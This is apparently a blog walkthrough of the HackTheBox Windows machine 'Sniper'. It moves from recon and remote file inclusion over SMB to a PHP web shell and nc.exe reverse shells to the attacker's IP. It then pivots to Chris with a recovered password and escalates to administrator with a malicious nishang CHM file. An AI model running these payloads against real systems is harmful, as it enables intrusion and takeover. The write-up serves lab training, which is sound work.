HackTheBox — Sniper Walkthrough

Sniper

Info Card

Summary

This is write up for a medium Windows box on hackthebox.eu named Sniper. It is a fun box. You learn about samba and how to leverage network shares for RFI. First we exploit a RFI to get a web-shell. From there we move on to getting a reverse shell and find a write a directory, which then helps us getting a shell as Chris and later we escalate from Chris to administrator via malicious chm. Let’s hop in.

Recon

As usual we will start with nmap, but I have something new for this blog. I found this on hackthebox, this grabs the ports from an initial port scan and later passes it in nmap’s port argument. This makes the scripts run faster and efficient utilization of time. So, here it is

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.151 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.10.151

Looking at the results,

Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-24 16:49 EDT
Nmap scan report for 10.10.10.151
Host is up (0.18s latency).
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Sniper Co.
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
49667/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 7h03m17s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-03-25T03:54:08
|_  start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 99.01 seconds

We have a webserver running and a samba, netbios and msrpc open. Let’s start with the webserver.

Visiting the page

webserver on port 80

The other links lead to # while user portal leads us to a login page.

user portal login

I ran sqlmap in the background but it was not fruitful. The parameters were not inject-able. So, let’s create an account.

registration

and we get portal under construction.

user portal under construction

So, let us run our trusty gobuster and check if we find anything juicy.

gobuster dir -u http://10.10.10.151/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -o initial.crawl

Looking at the output

/blog (Status: 301)
/images (Status: 301)
/user (Status: 301)
/Images (Status: 301)
/css (Status: 301)
/js (Status: 301)
/Blog (Status: 301)
/IMAGES (Status: 301)
/User (Status: 301)
/CSS (Status: 301)
/JS (Status: 301)

We can see that the directories are not case sensitive so, this is a Windows IIS server where the application is hosted. The CSS and JS folder looks quite standard. Let’s move on and take a look at blog.

blog

There is nothing that caught my eye other than the language and downloads tab. But the download tab leaded no where, so, we move on to the language tab.

http://10.10.10.151/blog/?lang=blog-en.php

The language parameter can be injectable. Whenever we find any kind of parameter which takes values with file name with an extensions, we can check for LFI. Let’s try with some windows LFI payload, first we send the request to burp then move over to repeater and check the responses.

normal server response without injection

The server sends back a 5894 bytes. Now, let us try with some gibberish.

response when parameter is set as miku

We can see that the response has a byte size of 2910, and 200 OK status. Now let’s try with something that we already know off. Let us check the source code.

source code

Now we can see that we have a page called /blog/css/sytle.css, we can try and include that in our request. We will use “css/style.css”, as we are already in blog directory.

response for style.css

We can see that the file is getting fetched and we still have a 200 OK response and a size of the response is 6826 bytes, which confirms that we are able to include the file.

Now we will move on and try to include a Windows files. Let’s start with windows/system32/drivers/etc/hosts.

output of etc/hosts file

We can see that can grab that file. The file size is different, and we can see the output in repeater.

At this point we can try and check if the machine can fetch a file in the network. We will turn on out netcat and set it on listening mode on port 445.

sudo nc -lnvp 445

And we will send a request to out IP and try to grab some gibberish. We will be setting the parameter as \\10.10.14.5\miku.txt. miku.txt doesn’t exists, so there will be a 404 error, and if everything goes fine, we will get a connection in netcat.

nc output

burp output

Now, we can verify that we got response back in out netcat listener and the response is same as a 404 on repeater.

Now, we can check if our file is actually being fetched or not, by creating a smb server and then moving on to the fetch the file.

For that we need to modify the smb.conf file. To do that I will use sublime text

sudo subl /etc/samba/smb.conf

and add the below lines in the file.

[htb]
path = /home/kali/htb/machines/sniper/www/
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody

We are keeping the directory to read-only mode just to be safe. Now, we need to change the permissions on the directory and set the owner to nobody and nogroup.

We will cd to the directory and run the commands.

cd /home/kali/htb/machines/sniper/www/
chmod 0555 /home/kali/htb/machines/sniper/www/
sudo chown -R nobody:nogroup /home/kali/htb/machines/sniper/www/

Now, we will start the smb server.

sudo service smbd start

To check if our smb server is running, we can run smbmap to check if the shares are listed or not.

smbmap -H 10.10.14.5

smb server is running

We can see that the smb server is running. Now we can try and get a shell. Let’s go.

Initial Foothold

We will now create a file in our directory to create a php file, to perform RCE. Make sure you change the directory permissions when creating the file, otherwise it wont allow to create the file.

subl notrce.php

And we will put the following code in the file.

<?php system($_REQUEST['rce']) ?>

Now, let’s go to burp repeater, and try to execute commands.

The parameter we are sending as lang is

\\10.10.14.5\htb\notrce.php&rce=whoami

response for whoami

We can see that we are currently “nt authority\iusr”.

Before we go ahead and do anything let’s check if we can run powershell. To do that we will change the request mode to POST. Which will be a bit tricky as the lang parameter wants a GET request, we can put our file location in the “lang” parameter and have our “rce” parameter in POST.

The request body should look like this.

POST /blog/?lang=\\10.10.14.5\htb\notrce.php HTTP/1.1
Host: 10.10.10.151
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=u7dh7lth1tds9q9ov6si3mm4qf
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
rce=Powershell+whoami

output in POST method checking for powershell access

Now, we will check for the language mode. It will let us know what commands can we run.

rce=Powershell+$executionContext.SessionState.LanguageMode

Language Mode Check

Looking at the output we get “ConstrainedLanguage” mode. This suggest anything we want to do that interacts with .NET will be blocked. So, IEX and other commands which needs to interact with .NET will not work. So, we can get a shell in another way. We can put a netcat executable in the our smb directory and then try get a shell from netcat. Let’s try it.

Get Mainul Hasan’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

First locate the nc.exe file, and copy it to the smb directory which we have setup

locate nc.exe
sudo cp /usr/share/windows-resources/binaries/nc.exe .

Now, we can call this file to get executed and get a shell back. To do so, we will set the “rce” parameter to execute nc.exe and send a connection back to us. Make sure that you url encode the payload.

rce=\\10.10.14.5\nc.exe 10.10.14.5 9001 -e powershell

And we will start our netcat listener on port 9001

rlwrap nc -lnvp 9001

Now, we can send the request and we should get a shell back. Although in constrained mode, I prefer powershell.

Request

shell as iusr

And we have a shell as “iusr”.

Let’s explore around a bit.

We can see that there is directory named user. Let’s check what is there.

cd user
gci

contents in user

We can see there is weird file named “db.php”. This looks like a back-up and might be interesting. Let’s have a look.

gc db.php

db.php output

We can see that there is a password and a username sniper.

Let’s check what users do we have.

net user

net user output

We don’t have any users named sniper but we can check the details of the users if they lead us to anything. We will do

net user Chris

output for net user chris

If we see that the password was last changed date. From the previous output we can see that the “db.php” was last updated on the same date. This might be the case that this is the password for Chris. To verify we will run crackmapexec.

crackmapexec 10.10.10.151 smb -u chris -p '36mEAhz/B8xQ~2VM'

crackmapexec output

We can see that “SNIPER\chris” is a valid user with that password.

Now, we can do a powershell remoting and get a shell back as Chris.

$pass = '36mEAhz/B8xQ~2VM'
$pass = ConvertTo-SecureString "36mEAhz/B8xQ~2VM" -AsPlainText -Force
$cred = New-Object 
System.Management.Automation.PSCredential("SNIPER\\Chris", $pass)
Invoke-Command -ComputerName SNIPER -Credential $cred -ScriptBlock {whoami}

The “whoami” will show us if our command is working or not.

whoami output

And we can confirm that we are Chris. So, now we can send a netcat reverse shell as Chris to us.

Invoke-Command -ComputerName SNIPER -Credential $cred -ScriptBlock {\\10.10.14.5\htb\nc.exe 10.10.14.5 9001 -e powershell}

And we get a shell back as Chris

Sending netcat shell to our machine

shell as Chris

Enumeration

We start of with directory listing on Chris’s home folder.

gci -recuse

gci -recuse output

we get an interesting file “instructions.chm”. This might be helpful and it is quite unusual. Let us check some other directories also.

Running “gci” on the “C:/” gives us a unusual folder named “Docs”. Let’s go in and check.

gci

gci output

cd Docs
gci

gci output of Docs

Let’s have a look at the text file in the folder

gc note.txt

note.txt contents

We can see that CEO is asking for a instructions file. That’s interesting, because we already found a “instructions.chm” file.

We can try and create a malicious chm and later use that to get a reverse-shell.

Privilege Escalation

We will be using nishang, to generate our malicious CHM. To do that we need a PowerShell script named “Out-CHM.ps1”.

We will add this line to the end of the file.

Out-CHM -Payload "C:\Docs\nc.exe 10.10.14.5 9001 -e powershell.exe" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"

And run that file in our Windows machine. First we need to set the execution policy to remote signed

Set-ExecutionPolicy RemoteSigned
.\Out-CHM.ps1

We can see that a “doc.chm” has been created. Let us copy the file to our local machine and rename it to “instructions.chm”.

mv doc.chm instructions.chm

Now, we need to transfer the file to the server and start out netcat listener and we should get a call back if the user interacts with it. First, we will start our python http server.

sudo python3 -m http.server 80

On our local machine we will start the netcat listener.

rlwrap nc -lnvp 9001

On the reverse shell of Chris, we will run the powershell command to download the file and netcat in the folder.

Invoke-WebRequest 'http://10.10.14.5/nc.exe' -OutFile 'nc.exe'
Invoke-WebRequest 'http://10.10.14.5/instructions.chm' -OutFile 'C:\Docs\instructions.chm'

As soon as the user interacts with the shell, we should get a reverse connection back.

reverse shell back

We can check for our user.

whoami

whoami output

Voila!! We have a shell as “sniper/administrator”.

Flags

PS C:\users\administrator\Desktop> gc root.txt
gc root.txt
5624caf363e2750e..be0b7436c15
PS C:\users\administrator\Desktop> gc C:\Users\Chris\Desktop\user.txt
gc C:\Users\Chris\Desktop\user.txt
21f4d0f29fc4dd86750..716cf56e

Trophy

This was a small write-up on Sniper from hackthebox.

~m1kU